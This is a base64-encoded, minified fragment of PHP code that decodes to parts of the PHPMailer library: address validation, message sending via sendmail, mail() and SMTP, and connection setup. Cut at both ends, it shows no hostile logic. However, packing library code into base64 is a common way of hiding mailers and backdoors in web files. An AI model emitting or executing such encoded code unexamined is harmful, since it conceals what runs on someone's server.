ZmFsc2U7fXN3aXRjaCgkcGF0dGVybnNlbGVjdCl7Y2FzZSAncGNyZSc6Y2FzZSAncGNyZTgnOnJldHVybiAoYm9vbCkgcHJlZ19tYXRjaCgnL14oPyEoPz4oPzEpIj8oPz5cXFxbIC1+XXxbXiJdKSI/KD8xKSl7MjU1LH0pKD8hKD8+KD8xKSI/KD8+XFxcWyAtfl18W14iXSkiPyg/MSkpezY1LH1AKScuJygoPz4oPz4oPz4oKD8+KD8+KD8+XHgwRFx4MEEpP1tcdCBdKSt8KD8+W1x0IF0qXHgwRFx4MEEpP1tcdCBdKyk/KShcKCg/Pig/MiknLicoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLVwnKi1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdfCg/MykpKSooPzIpXCkpKSsoPzIpKXwoPzIpKT8pJy4nKFshIy1cJyorXC8tOT0/Xi1+LV0rfCIoPz4oPzIpKD8+W1x4MDEtXHgwOFx4MEJceDBDXHgwRS0hIy1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdKSkqJy4nKD8yKSIpKD8+KD8xKVwuKD8xKSg/NCkpKig/MSlAKD8hKD8xKVthLXowLTktXXs2NCx9KSg/MSkoPz4oW2EtejAtOV0oPz5bYS16MC05LV0qW2EtejAtOV0pPyknLicoPz4oPzEpXC4oPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg/NSkpezAsMTI2fXxcWyg/Oig/PklQdjY6KD8+KFthLWYwLTldezEsNH0pKD8+Oig/Nikpezd9Jy4nfCg/ISg/Oi4qW2EtZjAtOV1bOlxdXSl7OCx9KSgoPzYpKD8+Oig/NikpezAsNn0pPzo6KD83KT8pKXwoPz4oPz5JUHY2Oig/Pig/NikoPz46KD82KSl7NX06Jy4nfCg/ISg/Oi4qW2EtZjAtOV06KXs2LH0pKD84KT86Oig/PigoPzYpKD8+Oig/NikpezAsNH0pOik/KSk/KDI1WzAtNV18MlswLTRdWzAtOV18MVswLTldezJ9Jy4nfFsxLTldP1swLTldKSg/PlwuKD85KSl7M30pKVxdKSg/MSkkL2lzRCcsJGFkZHJlc3MpO2Nhc2UgJ2h0bWw1JzpyZXR1cm4gKGJvb2wpIHByZWdfbWF0Y2goJy9eW2EtekEtWjAtOS4hIyQlJlwnKitcLz0/Xl9ge3x9fi1dK0BbYS16QS1aMC05XSg/OlthLXpBLVowLTktXXswLDYxfScuJ1thLXpBLVowLTldKT8oPzpcLlthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9W2EtekEtWjAtOV0pPykqJC9zRCcsJGFkZHJlc3MpO2Nhc2UgJ3BocCc6ZGVmYXVsdDpyZXR1cm4gKGJvb2wpIGZpbHRlcl92YXIoJGFkZHJlc3MsRklMVEVSX1ZBTElEQVRFX0VNQUlMKTt9fXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gaWRuU3VwcG9ydGVkKCl7cmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygnaWRuX3RvX2FzY2lpJylhbmQgZnVuY3Rpb25fZXhpc3RzKCdtYl9jb252ZXJ0X2VuY29kaW5nJyk7fXB1YmxpYyBmdW5jdGlvbiBwdW55ZW5jb2RlQWRkcmVzcygkYWRkcmVzcyl7JHBvcz1zdHJycG9zKCRhZGRyZXNzLCdAJyk7aWYoc3RhdGljOjppZG5TdXBwb3J0ZWQoKWFuZCFlbXB0eSgkdGhpcy0+Q2hhclNldClhbmQgZmFsc2UhPT0kcG9zKXskZG9tYWluPXN1YnN0cigkYWRkcmVzcywrKyRwb3MpO2lmKCR0aGlzLT5oYXM4Yml0Q2hhcnMoJGRvbWFpbilhbmRAbWJfY2hlY2tfZW5jb2RpbmcoJGRvbWFpbiwkdGhpcy0+Q2hhclNldCkpeyRkb21haW49bWJfY29udmVydF9lbmNvZGluZygkZG9tYWluLCdVVEYtOCcsJHRoaXMtPkNoYXJTZXQpOyRlcnJvcmNvZGU9MDskcHVueWNvZGU9aWRuX3RvX2FzY2lpKCRkb21haW4sJGVycm9yY29kZSxJTlRMX0lETkFfVkFSSUFOVF9VVFM0Nik7aWYoZmFsc2UhPT0kcHVueWNvZGUpe3JldHVybiBzdWJzdHIoJGFkZHJlc3MsMCwkcG9zKS4kcHVueWNvZGU7fX19cmV0dXJuICRhZGRyZXNzO31wdWJsaWMgZnVuY3Rpb24gc2VuZCgpe3RyeXtpZighJHRoaXMtPnByZVNlbmQoKSl7cmV0dXJuIGZhbHNlO31yZXR1cm4gJHRoaXMtPnBvc3RTZW5kKCk7fWNhdGNoKEV4Y2VwdGlvbiAkZXhjKXskdGhpcy0+bWFpbEhlYWRlcj0nJzskdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTtpZigkdGhpcy0+ZXhjZXB0aW9ucyl7dGhyb3cgJGV4Yzt9cmV0dXJuIGZhbHNlO319cHVibGljIGZ1bmN0aW9uIHByZVNlbmQoKXtpZignc210cCc9PSR0aGlzLT5NYWlsZXIgb3IoJ21haWwnPT0kdGhpcy0+TWFpbGVyIGFuZCBzdHJpcG9zKFBIUF9PUywnV0lOJyk9PT0wKSl7c3RhdGljOjpzZXRMRSgiXHJcbiIpO31lbHNle3N0YXRpYzo6c2V0TEUoUEhQX0VPTCk7fWlmKGluaV9nZXQoJ21haWwuYWRkX3hfaGVhZGVyJyk9PTEgYW5kICdtYWlsJz09JHRoaXMtPk1haWxlciBhbmQgc3RyaXBvcyhQSFBfT1MsJ1dJTicpPT09MCBhbmQoKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwnNy4wLjAnLCc+PScpYW5kIHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwnNy4wLjE3JywnPCcpKW9yKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwnNy4xLjAnLCc+PScpYW5kIHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwnNy4xLjMnLCc8JykpKSl7dHJpZ2dlcl9lcnJvcignWW91ciB2ZXJzaW9uIG9mIFBIUCBpcyBhZmZlY3RlZCBieSBhIGJ1ZyB0aGF0IG1heSByZXN1bHQgaW4gY29ycnVwdGVkIG1lc3NhZ2VzLicuJyBUbyBmaXggaXQsIHN3aXRjaCB0byBzZW5kaW5nIHVzaW5nIFNNVFAsIGRpc2FibGUgdGhlIG1haWwuYWRkX3hfaGVhZGVyIG9wdGlvbiBpbicuJyB5b3VyIHBocC5pbmksIHN3aXRjaCB0byBNYWNPUyBvciBMaW51eCwgb3IgdXBncmFkZSB5b3VyIFBIUCB0byB2ZXJzaW9uIDcuMC4xNysgb3IgNy4xLjMrLicsRV9VU0VSX1dBUk5JTkcpO310cnl7JHRoaXMtPmVycm9yX2NvdW50PTA7JHRoaXMtPm1haWxIZWFkZXI9Jyc7Zm9yZWFjaChhcnJheV9tZXJnZSgkdGhpcy0+UmVjaXBpZW50c1F1ZXVlLCR0aGlzLT5SZXBseVRvUXVldWUpYXMgJHBhcmFtcyl7JHBhcmFtc1sxXT0kdGhpcy0+cHVueWVuY29kZUFkZHJlc3MoJHBhcmFtc1sxXSk7Y2FsbF91c2VyX2Z1bmNfYXJyYXkoWyR0aGlzLCdhZGRBbkFkZHJlc3MnXSwkcGFyYW1zKTt9aWYoY291bnQoJHRoaXMtPnRvKStjb3VudCgkdGhpcy0+Y2MpK2NvdW50KCR0aGlzLT5iY2MpPDEpe3Rocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3Byb3ZpZGVfYWRkcmVzcycpLHNlbGY6OlNUT1BfQ1JJVElDQUwpO31mb3JlYWNoKFsnRnJvbScsJ1NlbmRlcicsJ0NvbmZpcm1SZWFkaW5nVG8nXWFzICRhZGRyZXNzX2tpbmQpeyR0aGlzLT4kYWRkcmVzc19raW5kPXRyaW0oJHRoaXMtPiRhZGRyZXNzX2tpbmQpO2lmKGVtcHR5KCR0aGlzLT4kYWRkcmVzc19raW5kKSl7Y29udGludWU7fSR0aGlzLT4kYWRkcmVzc19raW5kPSR0aGlzLT5wdW55ZW5jb2RlQWRkcmVzcygkdGhpcy0+JGFkZHJlc3Nfa2luZCk7aWYoIXN0YXRpYzo6dmFsaWRhdGVBZGRyZXNzKCR0aGlzLT4kYWRkcmVzc19raW5kKSl7JGVycm9yX21lc3NhZ2U9c3ByaW50ZignJXMgKCVzKTogJXMnLCR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSwkYWRkcmVzc19raW5kLCR0aGlzLT4kYWRkcmVzc19raW5kKTskdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOyR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpO2lmKCR0aGlzLT5leGNlcHRpb25zKXt0aHJvdyBuZXcgRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTt9cmV0dXJuIGZhbHNlO319aWYoJHRoaXMtPmFsdGVybmF0aXZlRXhpc3RzKCkpeyR0aGlzLT5Db250ZW50VHlwZT1zdGF0aWM6OkNPTlRFTlRfVFlQRV9NVUxUSVBBUlRfQUxURVJOQVRJVkU7fSR0aGlzLT5zZXRNZXNzYWdlVHlwZSgpO2lmKCEkdGhpcy0+QWxsb3dFbXB0eSBhbmQgZW1wdHkoJHRoaXMtPkJvZHkpKXt0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdlbXB0eV9tZXNzYWdlJyksc2VsZjo6U1RPUF9DUklUSUNBTCk7fSR0aGlzLT5TdWJqZWN0PXRyaW0oJHRoaXMtPlN1YmplY3QpOyR0aGlzLT5NSU1FSGVhZGVyPScnOyR0aGlzLT5NSU1FQm9keT0kdGhpcy0+Y3JlYXRlQm9keSgpOyR0ZW1waGVhZGVycz0kdGhpcy0+TUlNRUhlYWRlcjskdGhpcy0+TUlNRUhlYWRlcj0kdGhpcy0+Y3JlYXRlSGVhZGVyKCk7JHRoaXMtPk1JTUVIZWFkZXIuPSR0ZW1waGVhZGVycztpZignbWFpbCc9PSR0aGlzLT5NYWlsZXIpe2lmKGNvdW50KCR0aGlzLT50byk+MCl7JHRoaXMtPm1haWxIZWFkZXIuPSR0aGlzLT5hZGRyQXBwZW5kKCdUbycsJHRoaXMtPnRvKTt9ZWxzZXskdGhpcy0+bWFpbEhlYWRlci49JHRoaXMtPmhlYWRlckxpbmUoJ1RvJywndW5kaXNjbG9zZWQtcmVjaXBpZW50czo7Jyk7fSR0aGlzLT5tYWlsSGVhZGVyLj0kdGhpcy0+aGVhZGVyTGluZSgnU3ViamVjdCcsJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSkpO31pZighZW1wdHkoJHRoaXMtPkRLSU1fZG9tYWluKWFuZCFlbXB0eSgkdGhpcy0+REtJTV9zZWxlY3RvcilhbmQoIWVtcHR5KCR0aGlzLT5ES0lNX3ByaXZhdGVfc3RyaW5nKW9yKCFlbXB0eSgkdGhpcy0+REtJTV9wcml2YXRlKWFuZCBzdGF0aWM6OmlzUGVybWl0dGVkUGF0aCgkdGhpcy0+REtJTV9wcml2YXRlKWFuZCBmaWxlX2V4aXN0cygkdGhpcy0+REtJTV9wcml2YXRlKSkpKXskaGVhZGVyX2RraW09JHRoaXMtPkRLSU1fQWRkKCR0aGlzLT5NSU1FSGVhZGVyLiR0aGlzLT5tYWlsSGVhZGVyLCR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkdGhpcy0+U3ViamVjdCkpLCR0aGlzLT5NSU1FQm9keSk7JHRoaXMtPk1JTUVIZWFkZXI9cnRyaW0oJHRoaXMtPk1JTUVIZWFkZXIsIlxyXG4gIikuc3RhdGljOjokTEUuc3RhdGljOjpub3JtYWxpemVCcmVha3MoJGhlYWRlcl9ka2ltKS5zdGF0aWM6OiRMRTt9cmV0dXJuIHRydWU7fWNhdGNoKEV4Y2VwdGlvbiAkZXhjKXskdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTtpZigkdGhpcy0+ZXhjZXB0aW9ucyl7dGhyb3cgJGV4Yzt9cmV0dXJuIGZhbHNlO319cHVibGljIGZ1bmN0aW9uIHBvc3RTZW5kKCl7dHJ5e3N3aXRjaCgkdGhpcy0+TWFpbGVyKXtjYXNlICdzZW5kbWFpbCc6Y2FzZSAncW1haWwnOnJldHVybiAkdGhpcy0+c2VuZG1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCR0aGlzLT5NSU1FQm9keSk7Y2FzZSAnc210cCc6cmV0dXJuICR0aGlzLT5zbXRwU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwkdGhpcy0+TUlNRUJvZHkpO2Nhc2UgJ21haWwnOnJldHVybiAkdGhpcy0+bWFpbFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsJHRoaXMtPk1JTUVCb2R5KTtkZWZhdWx0OiRzZW5kTWV0aG9kPSR0aGlzLT5NYWlsZXIuJ1NlbmQnO2lmKG1ldGhvZF9leGlzdHMoJHRoaXMsJHNlbmRNZXRob2QpKXtyZXR1cm4gJHRoaXMtPiRzZW5kTWV0aG9kKCR0aGlzLT5NSU1FSGVhZGVyLCR0aGlzLT5NSU1FQm9keSk7fXJldHVybiAkdGhpcy0+bWFpbFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsJHRoaXMtPk1JTUVCb2R5KTt9fWNhdGNoKEV4Y2VwdGlvbiAkZXhjKXskdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTskdGhpcy0+ZWRlYnVnKCRleGMtPmdldE1lc3NhZ2UoKSk7aWYoJHRoaXMtPmV4Y2VwdGlvbnMpe3Rocm93ICRleGM7fX1yZXR1cm4gZmFsc2U7fXByb3RlY3RlZCBmdW5jdGlvbiBzZW5kbWFpbFNlbmQoJGhlYWRlciwkYm9keSl7aWYoIWVtcHR5KCR0aGlzLT5TZW5kZXIpYW5kIHNlbGY6OmlzU2hlbGxTYWZlKCR0aGlzLT5TZW5kZXIpKXtpZigncW1haWwnPT0kdGhpcy0+TWFpbGVyKXskc2VuZG1haWxGbXQ9JyVzIC1mJXMnO31lbHNleyRzZW5kbWFpbEZtdD0nJXMgLW9pIC1mJXMgLXQnO319ZWxzZXtpZigncW1haWwnPT0kdGhpcy0+TWFpbGVyKXskc2VuZG1haWxGbXQ9JyVzJzt9ZWxzZXskc2VuZG1haWxGbXQ9JyVzIC1vaSAtdCc7fX0kc2VuZG1haWw9c3ByaW50Zigkc2VuZG1haWxGbXQsZXNjYXBlc2hlbGxjbWQoJHRoaXMtPlNlbmRtYWlsKSwkdGhpcy0+U2VuZGVyKTtpZigkdGhpcy0+U2luZ2xlVG8pe2ZvcmVhY2goJHRoaXMtPlNpbmdsZVRvQXJyYXkgYXMgJHRvQWRkcil7JG1haWw9QHBvcGVuKCRzZW5kbWFpbCwndycpO2lmKCEkbWFpbCl7dGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpLiR0aGlzLT5TZW5kbWFpbCxzZWxmOjpTVE9QX0NSSVRJQ0FMKTt9ZndyaXRlKCRtYWlsLCdUbzogJy4kdG9BZGRyLiJcbiIpO2Z3cml0ZSgkbWFpbCwkaGVhZGVyKTtmd3JpdGUoJG1haWwsJGJvZHkpOyRyZXN1bHQ9cGNsb3NlKCRtYWlsKTskdGhpcy0+ZG9DYWxsYmFjaygoJHJlc3VsdD09MCksWyR0b0FkZHJdLCR0aGlzLT5jYywkdGhpcy0+YmNjLCR0aGlzLT5TdWJqZWN0LCRib2R5LCR0aGlzLT5Gcm9tLFtdKTtpZigwIT09JHJlc3VsdCl7dGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpLiR0aGlzLT5TZW5kbWFpbCxzZWxmOjpTVE9QX0NSSVRJQ0FMKTt9fX1lbHNleyRtYWlsPUBwb3Blbigkc2VuZG1haWwsJ3cnKTtpZighJG1haWwpe3Rocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKS4kdGhpcy0+U2VuZG1haWwsc2VsZjo6U1RPUF9DUklUSUNBTCk7fWZ3cml0ZSgkbWFpbCwkaGVhZGVyKTtmd3JpdGUoJG1haWwsJGJvZHkpOyRyZXN1bHQ9cGNsb3NlKCRtYWlsKTskdGhpcy0+ZG9DYWxsYmFjaygoJHJlc3VsdD09MCksJHRoaXMtPnRvLCR0aGlzLT5jYywkdGhpcy0+YmNjLCR0aGlzLT5TdWJqZWN0LCRib2R5LCR0aGlzLT5Gcm9tLFtdKTtpZigwIT09JHJlc3VsdCl7dGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpLiR0aGlzLT5TZW5kbWFpbCxzZWxmOjpTVE9QX0NSSVRJQ0FMKTt9fXJldHVybiB0cnVlO31wcm90ZWN0ZWQgc3RhdGljIGZ1bmN0aW9uIGlzU2hlbGxTYWZlKCRzdHJpbmcpe2lmKGVzY2FwZXNoZWxsY21kKCRzdHJpbmcpIT09JHN0cmluZyBvciFpbl9hcnJheShlc2NhcGVzaGVsbGFyZygkc3RyaW5nKSxbIickc3RyaW5nJyIsIlwiJHN0cmluZ1wiIl0pKXtyZXR1cm4gZmFsc2U7fSRsZW5ndGg9c3RybGVuKCRzdHJpbmcpO2ZvcigkaT0wOyRpPCRsZW5ndGg7KyskaSl7JGM9JHN0cmluZ1skaV07aWYoIWN0eXBlX2FsbnVtKCRjKSYmc3RycG9zKCdAXy0uJywkYyk9PT1mYWxzZSl7cmV0dXJuIGZhbHNlO319cmV0dXJuIHRydWU7fXByb3RlY3RlZCBzdGF0aWMgZnVuY3Rpb24gaXNQZXJtaXR0ZWRQYXRoKCRwYXRoKXtyZXR1cm4hcHJlZ19tYXRjaCgnI15bYS16XSs6Ly8jaScsJHBhdGgpO31wcm90ZWN0ZWQgZnVuY3Rpb24gbWFpbFNlbmQoJGhlYWRlciwkYm9keSl7JHRvQXJyPVtdO2ZvcmVhY2goJHRoaXMtPnRvIGFzICR0b2FkZHIpeyR0b0FycltdPSR0aGlzLT5hZGRyRm9ybWF0KCR0b2FkZHIpO30kdG89aW1wbG9kZSgnLCAnLCR0b0Fycik7JHBhcmFtcz1udWxsO2lmKCFlbXB0eSgkdGhpcy0+U2VuZGVyKWFuZCBzdGF0aWM6OnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+U2VuZGVyKSl7aWYoc2VsZjo6aXNTaGVsbFNhZmUoJHRoaXMtPlNlbmRlcikpeyRwYXJhbXM9c3ByaW50ZignLWYlcycsJHRoaXMtPlNlbmRlcik7fX1pZighZW1wdHkoJHRoaXMtPlNlbmRlcilhbmQgc3RhdGljOjp2YWxpZGF0ZUFkZHJlc3MoJHRoaXMtPlNlbmRlcikpeyRvbGRfZnJvbT1pbmlfZ2V0KCdzZW5kbWFpbF9mcm9tJyk7aW5pX3NldCgnc2VuZG1haWxfZnJvbScsJHRoaXMtPlNlbmRlcik7fSRyZXN1bHQ9ZmFsc2U7aWYoJHRoaXMtPlNpbmdsZVRvIGFuZCBjb3VudCgkdG9BcnIpPjEpe2ZvcmVhY2goJHRvQXJyIGFzICR0b0FkZHIpeyRyZXN1bHQ9JHRoaXMtPm1haWxQYXNzdGhydSgkdG9BZGRyLCR0aGlzLT5TdWJqZWN0LCRib2R5LCRoZWFkZXIsJHBhcmFtcyk7JHRoaXMtPmRvQ2FsbGJhY2soJHJlc3VsdCxbJHRvQWRkcl0sJHRoaXMtPmNjLCR0aGlzLT5iY2MsJHRoaXMtPlN1YmplY3QsJGJvZHksJHRoaXMtPkZyb20sW10pO319ZWxzZXskcmVzdWx0PSR0aGlzLT5tYWlsUGFzc3RocnUoJHRvLCR0aGlzLT5TdWJqZWN0LCRib2R5LCRoZWFkZXIsJHBhcmFtcyk7JHRoaXMtPmRvQ2FsbGJhY2soJHJlc3VsdCwkdGhpcy0+dG8sJHRoaXMtPmNjLCR0aGlzLT5iY2MsJHRoaXMtPlN1YmplY3QsJGJvZHksJHRoaXMtPkZyb20sW10pO31pZihpc3NldCgkb2xkX2Zyb20pKXtpbmlfc2V0KCdzZW5kbWFpbF9mcm9tJywkb2xkX2Zyb20pO31pZighJHJlc3VsdCl7dGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnaW5zdGFudGlhdGUnKSxzZWxmOjpTVE9QX0NSSVRJQ0FMKTt9cmV0dXJuIHRydWU7fXB1YmxpYyBmdW5jdGlvbiBnZXRTTVRQSW5zdGFuY2UoKXtpZighaXNfb2JqZWN0KCR0aGlzLT5zbXRwKSl7JHRoaXMtPnNtdHA9bmV3IFNNVFAoKTt9cmV0dXJuICR0aGlzLT5zbXRwO31wdWJsaWMgZnVuY3Rpb24gc2V0U01UUEluc3RhbmNlKFNNVFAgJHNtdHApeyR0aGlzLT5zbXRwPSRzbXRwO3JldHVybiAkdGhpcy0+c210cDt9cHJvdGVjdGVkIGZ1bmN0aW9uIHNtdHBTZW5kKCRoZWFkZXIsJGJvZHkpeyRiYWRfcmNwdD1bXTtpZighJHRoaXMtPnNtdHBDb25uZWN0KCR0aGlzLT5TTVRQT3B0aW9ucykpe3Rocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSxzZWxmOjpTVE9QX0NSSVRJQ0FMKTt9aWYoJyc9PSR0aGlzLT5TZW5kZXIpeyRzbXRwX2Zyb209JHRoaXMtPkZyb207fWVsc2V7JHNtdHBfZnJvbT0kdGhpcy0+U2VuZGVyO31pZighJHRoaXMtPnNtdHAtPm1haWwoJHNtdHBfZnJvbSkpeyR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZnJvbV9mYWlsZWQnKS4kc210cF9mcm9tLicgOiAnLmltcGxvZGUoJywnLCR0aGlzLT5zbXRwLT5nZXRFcnJvcigpKSk7dGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+RXJyb3JJbmZvLHNlbGY6OlNUT1BfQ1JJVElDQUwpO30kY2FsbGJhY2tzPVtdO2ZvcmVhY2goWyR0aGlzLT50bywkdGhpcy0+Y2MsJHRoaXMtPmJjY11hcyAkdG9ncm91cCl7Zm9yZWFjaCgkdG9ncm91cCBhcyAkdG8pe2lmKCEkdGhpcy0+c210cC0+cmVjaXBpZW50KCR0b1swXSwkdGhpcy0+ZHNuKSl7JGVycm9yPSR0aGlzLT5zbXRwLT5nZXRFcnJvcigpOyRiYWRfcmNwdFtdPVsndG8nPT4kdG9bMF0sJ2Vycm9yJz0+JGVycm9yWydkZXRhaWwnXV07JGlzU2VudD1mYWxzZTt9ZWxzZXskaXNTZW50PXRydWU7fSRjYWxsYmFja3NbXT1bJ2lzc2VudCc9PiRpc1NlbnQsJ3RvJz0+JHRvWzBdXTt9fWlmKChjb3VudCgkdGhpcy0+YWxsX3JlY2lwaWVudHMpPmNvdW50KCRiYWRfcmNwdCkpYW5kISR0aGlzLT5zbXRwLT5kYXRhKCRoZWFkZXIuJGJvZHkpKXt0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdkYXRhX25vdF9hY2NlcHRlZCcpLHNlbGY6OlNUT1BfQ1JJVElDQUwpO30kc210cF90cmFuc2FjdGlvbl9pZD0kdGhpcy0+c210cC0+Z2V0TGFzdFRyYW5zYWN0aW9uSUQoKTtpZigkdGhpcy0+U01UUEtlZXBBbGl2ZSl7JHRoaXMtPnNtdHAtPnJlc2V0KCk7fWVsc2V7JHRoaXMtPnNtdHAtPnF1aXQoKTskdGhpcy0+c210cC0+Y2xvc2UoKTt9Zm9yZWFjaCgkY2FsbGJhY2tzIGFzICRjYil7JHRoaXMtPmRvQ2FsbGJhY2soJGNiWydpc3NlbnQnXSxbJGNiWyd0byddXSxbXSxbXSwkdGhpcy0+U3ViamVjdCwkYm9keSwkdGhpcy0+RnJvbSxbJ3NtdHBfdHJhbnNhY3Rpb25faWQnPT4kc210cF90cmFuc2FjdGlvbl9pZF0pO31pZihjb3VudCgkYmFkX3JjcHQpPjApeyRlcnJzdHI9Jyc7Zm9yZWFjaCgkYmFkX3JjcHQgYXMgJGJhZCl7JGVycnN0ci49JGJhZFsndG8nXS4nOiAnLiRiYWRbJ2Vycm9yJ107fXRocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3JlY2lwaWVudHNfZmFpbGVkJykuJGVycnN0cixzZWxmOjpTVE9QX0NPTlRJTlVFKTt9cmV0dXJuIHRydWU7fXB1YmxpYyBmdW5jdGlvbiBzbXRwQ29ubmVjdCgkb3B0aW9ucz1udWxsKXtpZihudWxsPT09JHRoaXMtPnNtdHApeyR0aGlzLT5zbXRwPSR0aGlzLT5nZXRTTVRQSW5zdGFuY2UoKTt9aWYobnVsbD09PSRvcHRpb25zKXskb3B0aW9ucz0kdGhpcy0+U01UUE9wdGlvbnM7fWlmKCR0aGlzLT5zbXRwLT5jb25uZWN0ZWQoKSl7cmV0dXJuIHRydWU7fSR0aGlzLT5zbXRwLT5zZXRUaW1lb3V0KCR0aGlzLT5UaW1lb3V0KTskdGhpcy0+c210cC0+c2V0RGVidWdMZXZlbCgkdGhpcy0+U01UUERlYnVnKTskdGhpcy0+c210cC0+c2V0RGVidWdPdXRwdXQoJHRoaXMtPkRlYnVnb3V0cHV0KTskdGhpcy0+c210cC0+c2V0VmVycCgkdGhpcy0+ZG9fdmVycCk7JGhvc3RzPWV4cGxvZGUoJzsnLCR0aGlzLT5Ib3N0KTskbGFzdGV4Y2VwdGlvbj1udWxsO2ZvcmVhY2goJGhvc3RzIGFzICRob3N0ZW50cnkpeyRob3N0aW5mbz1bXTtpZighcHJlZ19tYXRjaCgnL14oKHNzbHx0bHMpOlwvXC8pKihbYS16QS1aMC05XC4tXSp8XFtbYS1mQS1GMC05Ol0rXF0pOj8oWzAtOV0qKSQvJyx0cmltKCRob3N0ZW50cnkpLCRob3N0aW5mbykpe3N0YXRpYzo6ZWRlYnVnKCR0aGlzLT5sYW5nKCdjb25uZWN0X2hvc3QnKS4nICcuJGhvc3RlbnRyeSk7Y29udGludWU7fWlmKCFzdGF0aWM6OmlzVmFsaWRIb3N0KCRob3N0aW5mb1szXSkpe3N0YXRpYzo6ZWRlYnVnKCR0aGlzLT5sYW5nKCdjb25uZWN0X2hvc3QnKS4nICcuJGhvc3RlbnRyeSk7Y29udGludWU7fSRwcmVmaXg9Jyc7JHNlY3VyZT0kdGhpcy0+U01UUFNlY3VyZTskdGxzPSgndGxzJz09JHRoaXMtPlNNVFBTZWN1cmUpO2lmKCdzc2wnPT0kaG9zdGluZm9bMl1vcignJz09JGhvc3RpbmZvWzJdYW5kICdzc2wnPT0kdGhpcy0+U01UUFNlY3VyZSkpeyRwcmVmaXg9J3NzbDovLyc7JHRscz1mYWxzZTskc2VjdXJlPSdzc2wnO31lbHNlaWYoJ3Rscyc9PSRob3N0aW5mb1syXSl7JHRscz10cnVlOyRzZWN1cmU9J3Rscyc7fSRzc2xleHQ9ZGVmaW5lZCgnT1BFTlNTTF9BTEdPX1NIQTI1NicpO2lmKCd0bHMnPT09JHNlY3VyZSBvciAnc3NsJz09PSRzZWN1cmUpe2lmKCEkc3NsZXh0KXt0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdleHRlbnNpb25fbWlzc2luZycpLidvcGVuc3NsJyxzZWxmOjpTVE9QX0NSSVRJQ0FMKTt9fSRob3N0PSRob3N0aW5mb1szXTskcG9ydD0kdGhpcy0+UG9ydDskdHBvcnQ9KGludCkkaG9zdGluZm9bNF07aWYoJHRwb3J0PjAgYW5kICR0cG9ydDw2NTUzNil7JHBvcnQ9JHRwb3J0O31pZigkdGhpcy0+c210cC0+Y29ubmVjdCgkcHJlZml4LiRob3N0LCRwb3J0LCR0aGlzLT5UaW1lb3V0LCRvcHRpb25zKSl7dHJ5e2lmKCR0aGlzLT5IZWxvKXskaGVsbG89JHRoaXMtPkhlbG87fWVsc2V7JGhlbGxvPSR0aGlzLT5zZXJ2ZXJIb3N0bmFtZSgpO30kdGhpcy0+c210cC0+aGVsbG8oJGhlbGxvKTtpZigkdGhpcy0+U01UUEF1dG9UTFMgYW5kICRzc2xleHQgYW5kICdzc2wnIT0kc2VjdXJlIGFuZCAkdGhpcy0+c210cC0+Z2V0U2VydmVyRXh0KCdTVEFSVFRMUycpKXskdGxzPXRydWU7fWlmKCR0bHMpe2lmKCEkdGhpcy0+c210cC0+c3RhcnRUTFMoKSl7dGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnY29ubmVjdF9ob3N0JykpO30kdGhpcy0+c210cC0+aGVsbG8oJGhlbGxvKTt9aWYoJHRoaXMtPlNNVFBBdXRoKXtpZighJHRoaXMtPnNtdHAtPmF1dGhlbnRpY2F0ZSgkdGhpcy0+VXNlcm5hbWUsJHRoaXMtPlBhc3N3b3JkLCR0aGlzLT5BdXRoVHlwZSwkdGhpcy0+b2F1dGgpKXt0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdhdXRoZW50aWNhdGUnKSk7fX1yZXR1cm4gdHJ1ZTt9Y2F0Y2goRXhjZXB0aW9uICRleGMpeyRsYXN0ZXhjZXB0aW9uPSRleGM7JHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOyR0aGlzLT5zbXRwLT5xdWl0KCk7fX19JHRoaXMtPnNtdHAtPmNsb3NlKCk